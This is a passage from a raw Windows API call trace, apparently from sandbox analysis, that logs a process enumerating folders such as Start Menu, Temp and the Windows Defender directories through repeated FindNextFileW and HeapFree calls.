ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0282.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.168] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0282.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.169] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0282.169] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.169] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0282.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.170] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0282.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.172] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0282.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.173] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0282.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.175] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0282.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.176] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0282.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.176] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0282.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.176] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0282.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.177] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Programs", cAlternateFileName="")) returned 0 [0282.177] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0282.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.177] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu Places", cAlternateFileName="STARTM~2")) returned 1 [0282.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.178] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe349c49, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xbe349c49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbe349c49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemData", cAlternateFileName="SYSTEM~1")) returned 1 [0282.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.178] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0282.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.178] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0282.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.178] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d33b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0282.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.179] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1 [0282.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.179] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0282.179] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0282.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.179] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfp", cAlternateFileName="")) returned 1 [0282.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.179] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfp", cAlternateFileName="")) returned 0 [0282.179] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.182] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0282.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.183] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0282.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.184] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Default", cAlternateFileName="")) returned 1 [0282.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.186] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0282.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.448] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Updates", cAlternateFileName="")) returned 1 [0282.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.448] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Updates", cAlternateFileName="")) returned 0 [0282.448] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0282.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.451] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Features", cAlternateFileName="")) returned 1 [0282.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.451] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0282.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.451] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1 [0282.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.452] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Platform", cAlternateFileName="")) returned 1 [0282.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.452] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0282.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.452] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0282.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.452] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0282.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.452] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0282.452] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0282.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.453] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0282.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.454] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0282.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.454] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0282.454] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0282.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.454] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, 